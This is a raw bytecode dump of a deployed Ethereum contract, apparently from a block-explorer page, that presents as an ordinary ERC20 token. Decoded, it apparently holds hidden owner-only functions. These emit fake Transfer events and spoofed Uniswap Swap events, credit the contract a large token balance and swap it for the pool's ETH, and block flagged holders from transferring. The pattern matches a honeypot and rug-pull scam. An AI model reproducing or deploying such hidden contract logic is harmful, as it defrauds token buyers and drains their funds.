5b505050506040513d60208110156111d257600080fd5b8101908080519060200190929190505050611e07565b02816111f057fe5b04905060006111fd611fce565b9050600061120b8383612154565b905061121983828487612278565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806128d26024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561132b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806128656022913960400191505060405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60006114218484610e87565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146114ce57818110156114c0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000081525060200191505060405180910390fd5b6114cd848484840361121f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561155a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806128ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806128426023913960400191505060405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561167d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806128876026913960400191505060405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561175a57600061174f600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236b565b1461175957600080fd5b5b61176481836123f3565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f0600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361236b565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b60006118e9600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361247c565b905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008014158061193c575060016104d6145b61194d5760608360001c901c611950565b60005b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001600080600014158061199d575060016104d6145b6119ae5760608760001c901c6119b1565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3611a0a81612490565b60026000806000141580611a20575060016104d6145b611a315760608560001c901c611a34565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd85600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611b2757600080fd5b505af1158015611b3b573d6000803e3d6000fd5b505050506040513d6020811015611b5157600080fd5b8101908080519060200190929190505050508373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040518085815260200184815260200183815260200182815260200194505050505060405180910390a350505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600080141580611ccd575060016104d6145b611cde5760608360001c901c611ce1565b60005b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016000806000141580611d2e575060016104d6145b611d3f5760608760001c901c611d42565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3611d9b8161249d565b60016000806000141580611db1575060016104d6145b611dc25760608560001c901c611dc5565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000806000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611e7457600080fd5b505afa158015611e88573d6000803e3d6000fd5b505050506040513d6060811015611e9e57600080fd5b8101908080519060200190929190805190602001909291908051906020019092919050505050915091508373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4757600080fd5b505afa158015611f5b573d6000803e3d6000fd5b505050506040513d6020811015611f7157600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614611fb357806dffffffffffffffffffffffffffff16611fc5565b816dffffffffffffffffffffffffffff165b92505050919050565b606080600267ffffffffffffffff81118015611fe957600080fd5b506040519080825280602002602001820160405280156120185781602001602082028036833780820191505090505b509050308160008151811061202957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120cb57600080fd5b505afa1580156120df573d6000803e3d6000fd5b505050506040513d60208110156120f557600080fd5b81019080805190602001909291905050508160018151811061211357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508091505090565b60006060600267ffffffffffffffff8111801561217057600080fd5b5060405190808252806020026020018201604052801561219f5781602001602082028036833780820191505090505b5090506121ac84846124b5565b9050806000815181106121bb57fe5b60200260200101516001600060014211806121d7575060016000115b806121f8575042600173ffffffffffffffffffffffffffffffffffffffff16105b612203576000612213565b606061220d612650565b60001c901c5b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060008151811061226757fe5b602002602001015191505092915050565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236584848484612675565b50505050565b6000808284019050838110156123e9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008282111561246b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600081838161248757fe5b04905092915050565b6000600a82019050919050565b6000620186a0808302816124ad57fe5b049050919050565b6060600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7484846040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b8381101561254f578082015181840152602081019050612534565b50505050905001935050505060006040518083038186803b15801561257357600080fd5b505afa158015612587573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156125b157600080fd5b81019080805160405193929190846401000000008211156125d157600080fd5b838201915060208201858111156125e757600080fd5b825186602082028301116401000000008211171561260457600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561263b578082015181840152602081019050612620565b50505050905001604052505050905092915050565b600060603073ffffffffffffffffffffffffffffffffffffffff16901b60001b905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638803dbee858585856104b042016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561273c578082015181840152602081019050612721565b505050509050019650505050505050600060405180830381600087803b15801561276557600080fd5b505af1158015612779573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156127a357600080fd5b81019080805160405193929190846401000000008211156127c357600080fd5b838201915060208201858111156127d957600080fd5b82518660208202830111640100000000821117156127f657600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561282d578082015181840152602081019050612812565b50505050905001604052505050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220afd33b5601ec886e079852cb484bfcd4455cdedac069f567f6279eee2ef38d5f64736f6c63430007060033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101215760003560e01c806358a10259116100ad578063a9059cbb11610071578063a9059cbb146106fc578063bda0278214610760578063dd62ed3e146107b8578063ea923bae14610830578063ebfb412d146108b357610121565b806358a102591461048757806370a08231146105895780638da5cb5b146105e157806395d89b4114610615578063a457c2d71461069857610121565b806323b872dd116100f457806323b872dd14610283578063313ce56714610307578063316d295f1461032857806339509351146103ab5780635765a5cc1461040f57610121565b806304ee65c01461012657806306fdde031461017e578063095ea7b31461020157806318160ddd14610265575b600080fd5b6101686004803603602081101561013c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f7565b6040518082815260200191505060405180910390f35b61018661090f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c65780820151818401526020810190506101ab565b50505050905090810190601f1680156101f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61024d6004803603604081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b1565b60405180821515815260200191505060405180910390f35b61026d6109c8565b6040518082815260200191505060405180910390f35b6102ef6004803603606081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d2565b60405180821515815260200191505060405180910390f35b61030f6109f5565b604051808260ff16815260200191505060405180910390f35b6103a96004803603604081101561033e57600080fd5b810190808035906020019064010000000081111561035b57600080fd5b82018360208201111561036d57600080fd5b8035906020019184602083028401116401000000008311171561038f57600080fd5b909192939192939080359060200190929190505050610a08565b005b6103f7600480360360408110156103c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b6b565b60405180821515815260200191505060405180910390f35b6104716004803603604081101561042557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b92565b6040518082815260200191505060405180910390f35b6105716004803603608081101561049d57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156104ee57600080fd5b82018360208201111561050057600080fd5b8035906020019184602083028401116401000000008311171561052257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bb7565b60405180821515815260200191505060405180910390f35b6105cb6004803603602081101561059f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cc1565b6040518082815260200191505060405180910390f35b6105e9610d0a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61061d610d30565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065d578082015181840152602081019050610642565b50505050905090810190601f16801561068a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106e4600480360360408110156106ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd2565b60405180821515815260200191505060405180910390f35b6107486004803603604081101561071257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e58565b60405180821515815260200191505060405180910390f35b6107a26004803603602081101561077657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6f565b6040518082815260200191505060405180910390f35b61081a600480360360408110156107ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e87565b6040518082815260200191505060405180910390f35b6108b16004803603604081101561084657600080fd5b810190808035906020019064010000000081111561086357600080fd5b82018360208201111561087557600080fd5b8035906020019184602083028401116401000000008311171561089757600080fd5b909192939192939080359060200190929190505050610f0d565b005b6108f5600480360360208110156108c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611070565b005b60026020528060005260406000206000915090505481565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a75780601f1061097c576101008083540402835291602001916109a7565b820191906000526020600020905b81548152906001019060200180831161098a57829003601f168201915b5050505050905090565b60006109be33848461121f565b6001905092915050565b6000600454905090565b60006109df843384611415565b6109ea8484846114d4565b600190509392505050565b600860149054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610acb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b83839050811015610b6557600060ff1673ffffffffffffffffffffffffffffffffffffffff16421115610b58576000610b3860008060ff1661ffff161415610b2f576060868685818110610b1e57fe5b9050602002013560001c901c610b32565b60005b8461189e565b9050610b56858584818110610b4957fe5b90506020020135826118f1565b505b8080600101915050610ace565b50505050565b600080339050610b87818585610b818589610e87565b0161121f565b600191505092915050565b6000602052816000526040600020602052806000526040600020600091509150505481565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b8251811015610cb457610ca7838281518110610c9757fe5b6020026020010151878688611a76565b8080600101915050610c7f565b5060019050949350505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dc85780601f10610d9d57610100808354040283529160200191610dc8565b820191906000526020600020905b815481529060010190602001808311610dab57829003601f168201915b5050505050905090565b6000803390506000610de48286610e87565b905083811015610e3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806128f66025913960400191505060405180910390fd5b610e4c828686840361121f565b60019250505092915050565b6000610e653384846114d4565b6001905092915050565b60016020528060005260406000206000915090505481565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b8383905081101561106a57600060ff1673ffffffffffffffffffffffffffffffffffffffff1642111561105d57600061103d60008060ff1661ffff16141561103457606086868581811061102357fe5b9050602002013560001c901c611037565b60005b8461189e565b905061105b85858481811061104e57fe5b9050602002013582611c82565b505b8080600101915050610fd3565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611133576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6000620186a06201869f6111e8600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156111a857600080fd5b505afa1580156111bc573d6000803e3d6000fd5b505050506040513d60208110156111d257600080fd5b8101908080519060200190929190505050611e07565b02816111f057fe5b04905060006111fd611fce565b9050600061120b8383612154565b905061121983828487612278565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806128d26024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561132b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806128656022913960400191505060405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60006114218484610e87565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146114ce57818110156114c0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000081525060200191505060405180910390fd5b6114cd848484840361121f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561155a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806128ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806128426023913960400191505060405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561167d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806128876026913960400191505060405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561175a57600061174f600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236b565b1461175957600080fd5b5b61176481836123f3565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f0600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361236b565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b60006118e9600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361247c565b905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008014158061193c575060016104d6145b61194d5760608360001c901c611950565b60005b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001600080600014158061199d575060016104d6145b6119ae5760608760001c901c6119b1565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3611a0a81612490565b60026000806000141580611a20575060016104d6145b611a315760608560001c901c611a34565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd85600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611b2757600080fd5b505af1158015611b3b573d6000803e3d6000fd5b505050506040513d6020811015611b5157600080fd5b8101908080519060200190929190505050508373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040518085815260200184815260200183815260200182815260200194505050505060405180910390a350505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600080141580611ccd575060016104d6145b611cde5760608360001c901c611ce1565b60005b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016000806000141580611d2e575060016104d6145b611d3f5760608760001c901c611d42565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3611d9b8161249d565b60016000806000141580611db1575060016104d6145b611dc25760608560001c901c611dc5565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000806000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611e7457600080fd5b505afa158015611e88573d6000803e3d6000fd5b505050506040513d6060811015611e9e57600080fd5b8101908080519060200190929190805190602001909291908051906020019092919050505050915091508373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4757600080fd5b505afa158015611f5b573d6000803e3d6000fd5b505050506040513d6020811015611f7157600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614611fb357806dffffffffffffffffffffffffffff16611fc5565b816dffffffffffffffffffffffffffff165b92505050919050565b606080600267ffffffffffffffff81118015611fe957600080fd5b506040519080825280602002602001820160405280156120185781602001602082028036833780820191505090505b509050308160008151811061202957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120cb57600080fd5b505afa1580156120df573d6000803e3d6000fd5b505050506040513d60208110156120f557600080fd5b81019080805190602001909291905050508160018151811061211357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508091505090565b60006060600267ffffffffffffffff8111801561217057600080fd5b5060405190808252806020026020018201604052801561219f5781602001602082028036833780820191505090505b5090506121ac84846124b5565b9050806000815181106121bb57fe5b60200260200101516001600060014211806121d7575060016000115b806121f8575042600173ffffffffffffffffffffffffffffffffffffffff16105b612203576000612213565b606061220d612650565b60001c901c5b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060008151811061226757fe5b602002602001015191505092915050565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236584848484612675565b50505050565b6000808284019050838110156123e9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008282111561246b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600081838161248757fe5b04905092915050565b6000600a82019050919050565b6000620186a0808302816124ad57fe5b049050919050565b6060600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7484846040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b8381101561254f578082015181840152602081019050612534565b50505050905001935050505060006040518083038186803b15801561257357600080fd5b505afa158015612587573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156125b157600080fd5b81019080805160405193929190846401000000008211156125d157600080fd5b838201915060208201858111156125e757600080fd5b825186602082028301116401000000008211171561260457600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561263b578082015181840152602081019050612620565b50505050905001604052505050905092915050565b600060603073ffffffffffffffffffffffffffffffffffffffff16901b60001b905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638803dbee858585856104b042016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561273c578082015181840152602081019050612721565b505050509050019650505050505050600060405180830381600087803b15801561276557600080fd5b505af1158015612779573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156127a357600080fd5b81019080805160405193929190846401000000008211156127c357600080fd5b838201915060208201858111156127d957600080fd5b82518660208202830111640100000000821117156127f657600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561282d578082015181840152602081019050612812565b50505050905001604052505050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220afd33b5601ec886e079852cb484bfcd4455cdedac069f567f6279eee2ef38d5f64736f6c63430007060033

Deployed Bytecode Sourcemap

